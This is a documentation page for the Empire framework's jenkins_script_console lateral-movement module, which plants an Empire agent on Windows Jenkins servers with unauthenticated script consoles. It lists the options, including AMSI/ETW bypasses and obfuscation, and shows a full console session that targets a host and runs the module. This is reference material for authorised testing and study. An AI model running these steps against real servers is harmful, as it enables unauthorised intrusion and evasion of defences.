Exploit-Jenkins - Empire Module
This page contains detailed information about how to use the powershell/lateral_movement/jenkins_script_console Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Exploit-Jenkins
Module: powershell/lateral_movement/jenkins_script_console
Source code [1]: empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml
Source code [2]: empire/server/modules/powershell/lateral_movement/jenkins_script_console.py
MITRE ATT&CK:
T1210
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes
The jenkins_script_console module exploits unauthenticated Jenkins Script consoles.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the jenkins_script_console module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the jenkins_script_console module:
Agent
Agent to run module on.
Listener
Listener to use.
Port
Specify the port to use.
Default value: 8080.
Rhost
Specify the remote jenkins server to exploit.
Additional Module Options
This is a list of additional options that are supported by the jenkins_script_console module:
Bypasses
Bypasses as a space separated list to be prepended to the launcher.
Default value: mattifestation etw.
Obfuscate
Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.
Default value: False.
ObfuscateCommand
The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
Default value: Token\All\1.
Proxy
Proxy to use for request (default, none, or other).
Default value: default.
ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default.
UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.
Jenkins_script_console Example Usage
Here's an example of how to use the jenkins_script_console module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/lateral_movement/jenkins_script_console
Author @luxcupitor
Background True
Comments Deploys an Empire agent to a windows Jenkins server with
unauthenticated access to script console.
Description Exploit unauthenticated Jenkins Script consoles.
Language powershell
Name powershell/lateral_movement/jenkins_script_console
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1210
,Record Options----,--------------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|------------------|--------------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|------------------|--------------------|----------|-------------------------------------|
| Bypasses | mattifestation etw | False | Bypasses as a space separated list |
| | | | to be prepended to the launcher. |
|------------------|--------------------|----------|-------------------------------------|
| Listener | | True | Listener to use. |
|------------------|--------------------|----------|-------------------------------------|
| Obfuscate | False | False | Switch. Obfuscate the launcher |
| | | | powershell code, uses the |
| | | | ObfuscateCommand for obfuscation |
| | | | types. For powershell only. |
|------------------|--------------------|----------|-------------------------------------|
| ObfuscateCommand | Token\All\1 | False | The Invoke-Obfuscation command to |
| | | | use. Only used if Obfuscate switch |
| | | | is True. For powershell only. |
|------------------|--------------------|----------|-------------------------------------|
| Port | 8080 | True | Specify the port to use. |
|------------------|--------------------|----------|-------------------------------------|
| Proxy | default | False | Proxy to use for request (default, |
| | | | none, or other). |
|------------------|--------------------|----------|-------------------------------------|
| ProxyCreds | default | False | Proxy credentials |
| | | | ([domain\]username:password) to use |
| | | | for request (default, none, or |
| | | | other). |
|------------------|--------------------|----------|-------------------------------------|
| Rhost | | True | Specify the remote jenkins server |
| | | | to exploit. |
|------------------|--------------------|----------|-------------------------------------|
| UserAgent | default | False | User-agent string to use for the |
| | | | staging request (default, none, or |
| | | | other). |
'------------------'--------------------'----------'-------------------------------------'
(Empire: usemodule/powershell/lateral_movement/jenkins_script_console) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/lateral_movement/jenkins_script_console) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/lateral_movement/jenkins_script_console) > set Port 8080
[*] Set Port to 8080
(Empire: usemodule/powershell/lateral_movement/jenkins_script_console) > set Rhost 192.168.100.1
[*] Set Rhost to 192.168.100.1
(Empire: usemodule/powershell/lateral_movement/jenkins_script_console) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py
- http://attack.mitre.org/techniques/T1210
See Also
Check also the following modules related to this module:
- powershell/lateral_movement/invoke_psexec
- powershell/lateral_movement/invoke_sqloscmd
- powershell/lateral_movement/invoke_psremoting
- powershell/lateral_movement/invoke_executemsbuild
- powershell/lateral_movement/invoke_dcom
- powershell/lateral_movement/invoke_portfwd
- powershell/lateral_movement/new_gpo_immediate_task
- powershell/lateral_movement/invoke_smbexec
- powershell/lateral_movement/invoke_wmi
- powershell/lateral_movement/inveigh_relay
- powershell/lateral_movement/invoke_wmi_debugger
- powershell/lateral_movement/invoke_sshcommand
- powershell/exploitation/exploit_jenkins
- python/lateral_movement/multi/ssh_launcher
- python/lateral_movement/multi/ssh_command
- powershell/code_execution/invoke_clearscript
- powershell/management/invoke_script
- powershell/privesc/bypassuac_wscript
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
